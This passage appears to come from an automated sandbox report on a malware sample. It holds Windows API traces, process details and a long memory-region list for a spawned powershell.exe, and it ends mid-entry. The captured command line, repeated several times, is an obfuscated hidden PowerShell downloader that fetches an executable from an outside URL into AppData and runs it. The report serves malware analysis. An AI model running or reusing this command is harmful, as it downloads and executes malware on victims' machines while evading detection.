lpAttributeList=0x14f0f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f0a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f0f8, lpPreviousValue=0x0) returned 1 [0077.154] GetStartupInfoW (in: lpStartupInfo=0x14f210 | out: lpStartupInfo=0x14f210*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cMd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0077.154] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0077.155] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','C:\\Users\\aETAdzjz\\AppData\\Local.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') 'C:\\Users\\aETAdzjz\\AppData\\Local.exe'\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x14f130*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','C:\\Users\\aETAdzjz\\AppData\\Local.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') 'C:\\Users\\aETAdzjz\\AppData\\Local.exe'\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f0e0 | out: lpCommandLine="poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','C:\\Users\\aETAdzjz\\AppData\\Local.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') 'C:\\Users\\aETAdzjz\\AppData\\Local.exe'\"", lpProcessInformation=0x14f0e0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb98, dwThreadId=0xb9c)) returned 1 [0077.184] CloseHandle (hObject=0x50) returned 1 [0077.184] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.184] GetEnvironmentStringsW () returned 0x1891d0* [0077.185] FreeEnvironmentStringsW (penv=0x1891d0) returned 1 [0077.185] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x3dd14000" os_pid = "0xb98" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb80" cmd_line = "poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','C:\\Users\\aETAdzjz\\AppData\\Local.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') 'C:\\Users\\aETAdzjz\\AppData\\Local.exe'\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010944" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 641 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 642 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 643 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 644 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 645 start_va = 0x776f0000 end_va = 0x77898fff entry_point = 0x776f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 646 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 647 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 648 start_va = 0x13f480000 end_va = 0x13f4f6fff entry_point = 0x13f480000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 649 start_va = 0x7feffa10000 end_va = 0x7feffa10fff entry_point = 0x7feffa10000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 650 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 651 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 652 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 653 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 654 start_va = 0x775d0000 end_va = 0x776eefff entry_point = 0x775d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 655 start_va = 0x7fefd830000 end_va = 0x7fefd89afff entry_point = 0x7fefd830000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 656 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 657 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 658 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 659 start_va = 0x1c0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 660 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 661 start_va = 0x774d0000 end_va = 0x775c9fff entry_point = 0x774d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 662 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 663 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 664 start_va = 0x7fee7890000 end_va = 0x7fee78fefff entry_point = 0x7fee7890000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 665 start_va = 0x7fefb360000 end_va = 0x7fefb378fff entry_point = 0x7fefb360000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 666 start_va = 0x7fefda30000 end_va = 0x7fefda4efff entry_point = 0x7fefda30000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 667 start_va = 0x7fefda50000 end_va = 0x7fefdb18fff entry_point = 0x7fefda50000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 668 start_va = 0x7fefdb20000 end_va = 0x7fefdc4cfff entry_point = 0x7fefdb20000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 669 start_va = 0x7fefdc50000 end_va = 0x7fefdceefff entry_point = 0x7fefdc50000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 670 start_va = 0x7fefdd00000 end_va = 0x7fefdd66fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 671 start_va = 0x7fefdd70000 end_va = 0x7fefdd7dfff entry_point = 0x7fefdd70000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 672 start_va = 0x7fefe290000 end_va = 0x7fefe492fff entry_point = 0x7fefe290000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 673 start_va = 0x7feff360000 end_va = 0x7feff3d0fff entry_point = 0x7feff360000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 674 start_va = 0x7feff3e0000 end_va = 0x7feff4bafff entry_point = 0x7feff3e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 675 start_va = 0x7feff4f0000 end_va = 0x7feff5c6fff entry_point = 0x7feff4f0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 676 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 677 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 678 start_va = 0x160000 end_va = 0x162fff entry_point = 0x160000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 679 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 680 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 681 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 682 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 683 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 684 start_va = 0x1c70000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 685 start_va = 0x1c80000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 686 start_va = 0x1f20000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 687 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 688 start_va = 0x7feff4c0000 end_va = 0x7feff4edfff entry_point = 0x7feff4c0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 689 start_va = 0x7feff8f0000 end_va = 0x7feff9f8fff entry_point = 0x7feff8f0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 690 start_va = 0x7fefbf60000 end_va = 0x7fefbfb5fff entry_point = 0x7fefbf60000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 691 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 692 start_va = 0x1b80000 end_va = 0x1c5efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b80000" filename = "" Region: id = 693 start_va = 0x1e00000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 694 start_va = 0x7feff850000 end_va = 0x7feff8e8fff entry_point = 0x7feff850000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 695 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 696 start_va = 0x7fefe4a0000 end_va = 0x7feff227fff entry_point = 0x7fefe4a0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 697 start_va = 0x7fefc9e0000 end_va = 0x7fefc9fdfff entry_point = 0x7fefc9e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 698 start_va = 0x7fefd640000 end_va = 0x7fefd64efff entry_point = 0x7fefd640000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 699 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 700 start_va = 0x7fefc140000 end_va = 0x7fefc333fff entry_point = 0x7fefc140000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 701 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 702 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 703 start_va = 0x1fa0000 end_va = 0x226efff entry_point = 0x1fa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 704 start_va = 0x2370000 end_va = 0x23effff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 705 start_va = 0x7fefbfc0000 end_va = 0x7fefc0ebfff entry_point = 0x7fefbfc0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 706 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 707 start_va = 0x7fefd730000 end_va = 0x7fefd765fff entry_point = 0x7fefd730000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 708 start_va = 0x7fefd770000 end_va = 0x7fefd789fff entry_point = 0x7fefd770000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 709 start_va = 0x7feff5d0000 end_va = 0x7feff7a6fff entry_point = 0x7feff5d0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 710 start_va = 0x23f0000 end_va = 0x27e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023f0000" filename = "" Region: id = 711 start_va = 0x7fefc630000 end_va = 0x7fefc65cfff entry_point = 0x7fefc630000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 712 start_va = 0x7feff230000 end_va = 0x7feff281fff entry_point = 0x7feff230000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 713 start_va = 0x200000 end_va = 0x224fff entry_point = 0x200000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 714 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 715 start_va = 0x28e0000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 716 start_va = 0x7fef7d30000 end_va = 0x7fef7d86fff entry_point = 0x7fef7d30000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 717 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 718 start_va = 0x7fef5050000 end_va = 0x7fef5083fff entry_point = 0x7fef5050000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 719 start_va = 0x1f0000 end_va = 0x1f3fff entry_point = 0x1f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 720 start_va = 0x240000 end_va = 0x243fff entry_point = 0x240000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 721 start_va = 0x1d80000 end_va = 0x1daffff entry_point = 0x1d80000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000018.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db") Region: id = 722 start_va = 0x1e80000 end_va = 0x1ee5fff entry_point = 0x1e80000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 723 start_va = 0x7fef5040000 end_va = 0x7fef504bfff entry_point = 0x7fef5040000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 724 start_va = 0x7fef5870000 end_va = 0x7fef58effff entry_point = 0x7fef5870000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 725 start_va = 0x7fefd430000 end_va = 0x7fefd452fff entry_point = 0x7fefd430000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 726 start_va = 0x29d0000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 727 start_va = 0x7fef58f0000 end_va = 0x7fef58fefff entry_point = 0x7fef58f0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 728 start_va = 0x7fefb330000 end_va = 0x7fefb33afff entry_point = 0x7fefb330000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 729 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 730 start_va = 0x7fefcf30000 end_va = 0x7fefcf46fff entry_point = 0x7fefcf30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 731 start_va = 0x7fefcc30000 end_va = 0x7fefcc76fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 732 start_va = 0x7fee77f0000 end_va = 0x7fee7888fff entry_point = 0x7fee77f0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 733 start_va = 0x7fefc800000 end_va = 0x7fefc80bfff entry_point = 0x7fefc800000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 734 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 735 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 736 start_va = 0x75170000 end_va = 0x75238fff entry_point = 0x75170000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 737 start_va = 0x7fee4f00000 end_va = 0x7fee589cfff entry_point = 0x7fee4f00000 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 738 start_va = 0x1c60000 end_va = 0x1c62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c60000" filename = "" Region: id = 739 start_va = 0x1db0000 end_va = 0x1db0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001db0000" filename = "" Region: id = 740 start_va = 0x1dc0000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 741 start_va = 0x2350000 end_va = 0x235ffff entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 742 start_va = 0x2800000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 743 start_va = 0x2a50000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 744 start_va = 0x2bd0000 end_va = 0x1abcffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 745 start_va = 0x1abd0000 end_va = 0x1b29ffff entry_point = 0x0 region_type = private name = "private_0x000000001abd0000" filename = "" Region: id = 746 start_va = 0x1b2a0000 end_va = 0x1b3a0fff entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 747 start_va = 0x1b500000 end_va = 0x1b57ffff entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 748 start_va = 0x7fee4020000 end_va = 0x7fee4efbfff entry_point = 0x7fee4020000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 749 start_va = 0x7ff00030000 end_va = 0x7ff0003ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 750 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 751 start_va = 0x7ff00050000 end_va = 0x7ff000effff entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 752 start_va = 0x7ff000f0000 end_va = 0x7ff000fffff entry_point = 0x0 region_type = private name = "private_0x000007ff000f0000" filename = "" Region: id = 753 start_va = 0x7ff00100000 end_va = 0x7ff0016ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 754 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 755 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 756 start_va = 0x1de0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 757 start_va = 0x1b580000 end_va = 0x1b861fff entry_point = 0x1b580000 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 758 start_va = 0x7fee3530000 end_va = 0x7fee35e1fff entry_point = 0x7fee3530000 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll") Region: id = 759 start_va = 0x7fee35f0000 end_va = 0x7fee4012fff entry_point = 0x7fee35f0000 region_type = mapped_file name = "system.ni.dll" filename = 